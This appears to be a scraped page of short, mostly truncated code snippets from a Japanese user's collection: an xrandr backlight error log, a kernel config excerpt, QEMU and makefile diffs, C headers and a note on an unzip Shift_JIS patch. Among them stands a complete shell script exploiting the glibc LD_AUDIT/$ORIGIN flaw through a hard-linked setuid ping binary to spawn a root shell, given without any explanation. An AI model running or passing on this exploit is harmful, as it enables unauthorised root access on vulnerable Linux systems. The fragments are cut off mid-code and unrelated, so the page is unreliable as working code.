こんにちは
markdown記法書けるかな?
- a
- b
- c
| % uname -a | |
| Linux sayori 2.6.32.14 #7 SMP PREEMPT Fri May 28 00:31:38 JST 2010 i686 GNU/Linux | |
| % xrandr --output LVDS --set BACKLIGHT_CONTROL legacy | |
| X Error of failed request: 160 | |
| Major opcode of failed request: 148 (RANDR) | |
| Minor opcode of failed request: 15 () | |
| Serial number of failed request: 19 | |
| Current serial number in output stream: 19 | |
| zsh: exit 1 xrandr --output LVDS --set BACKLIGHT_CONTROL legacy |
| % dpkg -l | grep xserver-xorg-video-intel | |
| ii xserver-xorg-video-intel 2:2.9.1-4 X.Org X server -- Intel i8xx, i9xx display driver | |
| % xdpyinfo | |
| name of display: :0.0 | |
| version number: 11.0 | |
| vendor string: The X.Org Foundation | |
| vendor release number: 10707000 | |
| X.Org version: 1.7.7 | |
| maximum request size: 16777212 bytes |
| # | |
| # Automatically generated make config: don't edit | |
| # Linux kernel version: 2.6.29 | |
| # Fri May 21 16:55:08 2010 | |
| # | |
| CONFIG_ARM=y | |
| CONFIG_SYS_SUPPORTS_APM_EMULATION=y | |
| CONFIG_GENERIC_GPIO=y | |
| CONFIG_GENERIC_TIME=y | |
| CONFIG_GENERIC_CLOCKEVENTS=y |
| diff --git a/vl.c b/vl.c | |
| index fdee289..8b27654 100644 | |
| --- a/vl.c | |
| +++ b/vl.c | |
| @@ -4569,7 +4569,11 @@ int qemu_uuid_parse(const char *str, uint8_t *uuid) | |
| static void termsig_handler(int signal) | |
| { | |
| - qemu_system_shutdown_request(); | |
| + if(signal == SIGTERM){ |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #define CELL_BLOCK 0x00 | |
| #define CELL_WAY 0x01 | |
| #define CELL_WAY1 0x01 | |
| #define CELL_WAY2 0x02 | |
| #define CELL_WAY3 0x03 |
unzip 6.0 で Shift_JIS などの日本語ファイル名を含む zipファイルを展開する為の patch です。
Ubuntu に入っていた unzip 5.52 用のpatchを移植、改変したものです。オリジナルの patch はこちら:
http://archive.ubuntulinux.jp/ubuntu-ja/intrepid-ja/unzip_5.52-11ubuntu1.1ja1.diff.gz
| #!/bin/sh | |
| mkdir /tmp/exploit | |
| ln /bin/ping /tmp/exploit/target | |
| exec 999< /tmp/exploit/target | |
| rm -rf /tmp/exploit/ | |
| echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc - | |
| LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999 | |
| diff --git a/build/top.mk b/build/top.mk | |
| index 4bd23d2..082c5ba 100644 | |
| --- a/build/top.mk | |
| +++ b/build/top.mk | |
| @@ -58,7 +58,8 @@ INSTALL_PROGRAM = $(INSTALL) | |
| INSTALL_DATA = $(INSTALL) -m 644 | |
| INSTALL_SCRIPT = $(INSTALL) | |
| -STRIP = -s | |
| +#STRIP = -s |
以下URLの通りにやって解決。
参考: http://scooter.cocolog-nifty.com/blog/2010/09/witstech-a81e-a.html
(1)マーケット起動